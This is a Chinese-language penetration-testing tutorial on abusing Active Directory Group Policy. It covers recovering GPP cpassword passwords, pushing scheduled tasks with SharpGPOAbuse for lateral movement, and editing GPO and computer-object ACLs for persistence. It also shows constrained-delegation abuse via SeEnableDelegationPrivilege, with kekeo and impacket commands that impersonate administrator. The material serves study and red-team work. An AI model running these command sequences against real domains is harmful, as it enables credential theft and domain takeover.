组策略利用与横向移动

#基本介绍

组策略提供对域用户、成员机器、应用程序的集中化管理和配置。

组策略可分为本机组策略和域的组策略:

  • 本机组策略用于计算机管理员统一管理本机以及所有用户。
  • 域内的组策略用于域管统一管理域内的所有计算机以及域用户。

打开组策略管理 gpmc.msc

  • 组策略链接

    以Default Domain Policy为例。在右边的作用域里,可以看到它链接到test.local整个域。也就是说在test.local域内的所有计算机、用户都会受到这条组策略的影响。链接的位置可以是域、OU等。

    注意到图片最下面有一个WMI筛选,此功能是作用于筛选后的指定计算机。比如说作用于所有WIN7的电脑,那么只有WIN7的电脑才会应用此组策略。

  • 组策略内容

    打开组策略编辑器,可以看到分为计算机配置以及用户配置,分别作用于计算机和用户。在配置下又分为策略以及首选项。

    首选项是Windows Server 2008发布后用来对GPO中的组策略提供额外的功能。策略和首选项的不同之处就在于强制性。策略是受管理的、强制实施的。而首选项则是不受管理的、非强制性的。

  • 组策略更新

    默认情况下,客户端更新组策略有以下几种方式

    1. 后台轮询检查域控SYSVOL里每条组策略的GPT.ini,如果高于本地保存的组策略版本,客户端将会更新本地的组策略。默认情况下,计算机组策略会在后台每隔 90 分钟(0-30分钟的抖动)更新一次。域控制器上的组策略会每隔 5 分钟更新一次。

    2. 用户开机登录时会检查SYSVOL里的GPT.ini。

    3. 客户端强制更新,执行gpupdate /force

      域控强制客户端更新Invoke-GPUpdate -Computer "TESTwin10" -Target "User"(不会比较域共享目录中组策略的版本,2008 R2 默认不支持该命令,2012支持)

    组策略应用顺序

    本地组策略 →站点组策略→域组策略→OU组策略。

    如果同一个OU上链接了多个GPO,则按照链接顺序从高到低逐个应用。后应用的组策略覆盖先应用的组策略。

  • 组策略存储

    组策略存储在域控的两个位置中。一条GPO可以认为就是一条组策略。GPO有唯一ID用来标识每条组策略。

    在 CN=Policies,CN=System,下,存储了每个GPO的版本信息、GPO 状态和其他组件设置。

    \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies中(域内任何人都可以读取)保存了每条GPO的安全设置,脚本文件等策略数据。GPO 的gPCFileSysPath属性指向了此路径。

    在域、OU上的gPLink属性来标识链接的组策略,gPOptions属性用于标识组策略是否会被继承。

#GPO 导出与备份

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#加载GroupPolicy模块 (win7没有,win10有)
Import-Module GroupPolicy verbose
#获得所有GPO名称等基本信息
Get-GPO -All
#将所有GPO导出为一个HTML报告
Get-GPOReport -All -ReportType html -Path C:\GposReport.html
#将每个GPO单独导出一个HTML报告
Get-GPO -All | %{
Get-GPOReport -name $_.displayname -ReportType html -path ("c:\"+$_.displayname+".html")
}
#查看指定GPO的权限设置
Get-GPPermission -Name "Default Domain Policy" -All 
#备份指定GPO
Backup-Gpo -Name "Default Domain Policy" -Path C:\
#备份所有GPO
Backup-Gpo -All -Path "c:\"
#还原指定GPO
Restore-GPO -Name "Default Domain Policy" -Path C:\
#还原所有GPO
Restore-GPO -All -Path "c:\"

#还原组策略中保存的密码

如果在组策略中输入了密码,如以用户身份运行计划任务、修改域内主机内置administrator用户密码等。

可以在SYSVOL下的配置中看到加密后的密码(AES-256),而微软公开了解密密钥。

  1. 可以通过以下命令来快速搜索

    findstr /S cpassword \\0day.org\sysvol\*.xml

  2. 利用Get-GPPPassword,自动查询SYSVOL中的文件,还原出所有明文密码。

    Get-GPPPassword

修复:打了补丁KB2962486后,无法在组策略中设置用户名密码。

#横向移动

拿下域管权限后可能防火墙原因无法访问目标电脑,这时候可以利用组策略进行横向。

通过组策略来下放恶意软件、创建/修改计划任务、降级凭据保护、向计算机添加新的帐户到本地管理员组、启用明文密码提取等。

https://github.com/FSecureLABS/SharpGPOAbuse 、https://github.com/FuzzySecurity/StandIn 实现计划任务、启动脚本、添加本地管理员用户。

https://github.com/Hackndo/pyGPOAbuse 可以实现计划任务、添加本地管理员。

https://github.com/rootSySdk/PowerGPOAbuse 可以实现的比较全。

1
2
3
4
5
6
7
8
#加载GroupPolicy模块 (win7没有,win10有)
Import-Module GroupPolicy
#创建一个GPO并将GPO链接到域test.local,需要域管权限。
new-gpo -name TestGPO | new-gplink -Target "dc=test,dc=local"
#添加定时任务 --TargetDnsName指定计算机
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update2" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c calc.exe" --GPOName "TestGPO2" --FilterEnabled --TargetDnsName PC-jack-0day.0day.org
#删除GPO
Remove-GPO -Name TestGPO2

可以通过cs的execute-assembly 执行。

#权限维持

#添加用户对GPO的权限

其实就是对CN=Policies,CN=System,<BaseDn>具备CreateChild的权限。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#查询域内具备创建GPO权限的用户
adfind -b CN=Policies,CN=System,DC=test,DC=local -sddl+++ -s base -sdna -sddlfilter ;;"CR CHILD";;;

#添加用户test1对TestGPO的完全访问权限
$RawObject = Get-DomainGPO -Raw -Identity 'TestGPO'
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()

#移除用户test1对TestGPO的完全访问权限
$RawObject = Get-DomainGPO -Raw -Identity 'TestGPO'
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()

GPO 链接的权限(可选)

1
2
3
4
5
6
#查找对gPCFileSysPath属性WriteProperty权限的用户
adfind -b CN=Policies,CN=System,DC=0day,DC=org nTSecurityDescriptor -sddl+++ -s subtree -sdna -sddlfilter ;;;gPCFileSysPath;; -recmute

#对组策略目录有修改权限的可以随意修改组策略配置
icacls \\test.local\sysvol\test.local\scripts*
icacls \\test.localsysvol\test.local\policies*

如果有对域、OU的gPLink属性或gPOpptions属性有修改权限,就可以修改其链接的组策略。

1
2
3
#遍历服部这个OU,对gLink或者gPOpptions有WriteProperty权限的用户
adfind -b OU=客服部,DC=0day,DC=org -sddl+++ -s base  -sdna -sddlfilter ;;;gPlink;;
adfind -b OU=客服部,DC=0day,DC=org -sddl+++ -s base -sdna -sddlfilter ;;;gPOpptions;;

#SeEnableDelegationPrivilege 特权

有SeEnableDelegationPrivilege权限的域用户才能给域内服务账户设置委派(约束和非约束,但不包括基于资源的约束委派)。该权限只能通过Default Domain Controllers Policy组策略修改(或修改域控的计算机策略)。

并不是拥有一个对象的GenericAll权限,就可以修改对象的msDS-AllowedToDelegateTo属性,只能有SeEnableDelegationPrivilege权限的才行。

  1. 赋予用户SeEnableDelegationPrivilege权限

    • 通过组策略管理编辑器

    • 通过Default Domain Controllers Policy下的GptTmpl.inf文件

      文件位置:\\rootkit.org\SYSVOL\rootkit.org\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf

      添加jack用户的sid

      再测试环境中,要使更改生效需要域控更新组策略:gpupdate /force,并使jack重新登录才有权限。(可能等待时间长些也能生效)

  2. 给服务账户设置委派(只有拥有SPN的用户才能被设置委派,机器账号默认注册了SPN)

    • 添加jack对PC-MICLE-KIT$的完全控制权限 PowerView

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      13
      14
      
      #获取PC-MICLE-KIT的objectguid
      Get-DomainComputer PC-MICLE-KIT
      
      #配置jack对PC-MICLE-KIT机器账号的所有权限,(必须配置,不然是无法修改账户属性的)
      Add-DomainObjectAcl -TargetIdentity 'b6283bcb-c141-4a53-99dd-a8d8a50a7b8d' -PrincipalIdentity jack -Rights All -Verbose
      
      #如果利用的是普通域用户的话,获得域用户控制权限后还需要为域用户设置spn,机器用户就跳过这步。
      setspn -a test/rootkit.org test
      
      #验证权限,jack的sid
      Get-DomainObjectAcl -Identity PC-MICLE-KIT | ?{$_.SecurityIdentifier -match "S-1-5-21-3759881954-2993291187-3577547808-1135"}
      
      #删除权限
      Remove-DomainObjectAcl -TargetIdentity "b6283bcb-c141-4a53-99dd-a8d8a50a7b8d" -PrincipalIdentity jack -Rights all -Verbose
      
    • 在jack会话中配置PC-MICLE-KIT到owa2013.rootkit.org的约束委派

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      
      #方法一 PowerView
      #查看PC-MICLE-KIT机器账号的委派设置情况
      Get-DomainObject PC-MICLE-KIT -Properties distinguishedname,useraccountcontrol,serviceprincipalname,msds-allowedtodelegateto |fl
      #配置PC-MICLE-KIT到owa2013 CIFS服务的约束委派: 4096(WORKSTATION_TRUST_ACCOUNT)+16777216(TRUSTED_TO_AUTH_FOR_DELEGATION)=16781312
      Set-DomainObject PC-MICLE-KIT -Set @{'msds-allowedtodelegateto'='CIFS/owa2013.rootkit.org';'useraccountcontrol'=16781312} -verbose
      
      #方法二 [Microsoft.ActiveDirectory.Management.dll](<https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll>)
      Import-module .\Microsoft.ActiveDirectory.Management.dll
      #用户的话使用$user = Get-ADUser test
      $user = Get-ADComputer PC-MICLE-KIT
      #配置PC-MICLE-KIT到krbtgt服务的约束委派(只能2008及其以前的KDC支持)
      Set-ADObject $user -Add @{"msDS-AllowedToDelegateTo" = @("krbtgt/rootkit.org")} -Replace @{"useraccountcontrol"=16781312}
      
  3. PC-MICLE-KIT$账号发起s4u2self和s4u2proxy请求

    • 如果配置到CIFS/owa2013.rootkit.org服务的约束委派,那么模拟administrator访问owa2013.rootkit.org CIFS服务

      1
      2
      3
      4
      5
      6
      7
      8
      
      #keko
      #生成TGT票据
      tgt::ask /user:PC-MICLE-KIT$ /domain:rootkit.org /ntlm:a15bc42b9f1f1daa812a0b75a4c775c4
      #发起s4u请求
      tgs::s4u /tgt:TGT_PC-MICLE-KIT$@ROOTKIT.ORG_krbtgt~rootkit.org@ROOTKIT.ORG.kirbi /user:administrator@rootkit.org /service:CIFS/owa2013.rootkit.org
      #ptt
      kerberos::ptt TGS_administrator@rootkit.org@ROOTKIT.ORG_CIFS~owa2013.rootkit.org@ROOTKIT.ORG.kirbi
      dir \\owa2013.rootkit.org\c$
      
    • 如果配置到krbtgt(即TGS服务)的约束委派

      Tips: 黄金票据是通过用krbtgt的hash来伪造TGT。而创建到krbtgt用户的约束委派也能达到同样的效果。TGS服务器默认的SPN是krbtgt/domain name。(只适用于2008及之前的KDC,2012的域控上未成功,2012及以后的KDC,受限委派的时候用的机制变成了基于资源的委派,已测试)

      1
      2
      3
      4
      
      python3 getST.py -dc-ip 192.168.1.10 -spn krbtgt/0day.org -impersonate administrator 0day.org/PC-JACK-0DAY$ -hashes :35c7a1ec7ab4df8d073abe65e5375f3a
      #这里的krbtgt的TGS票据,相当于TGT票据
      export KRB5CCNAME=administrator.ccache
      python3 wmiexec.py 0day.org/administrator@OWA2010SP3.0day.org -no-pass -k 
      

#参考

  1. Windows内网协议学习LDAP篇之组策略
加载评论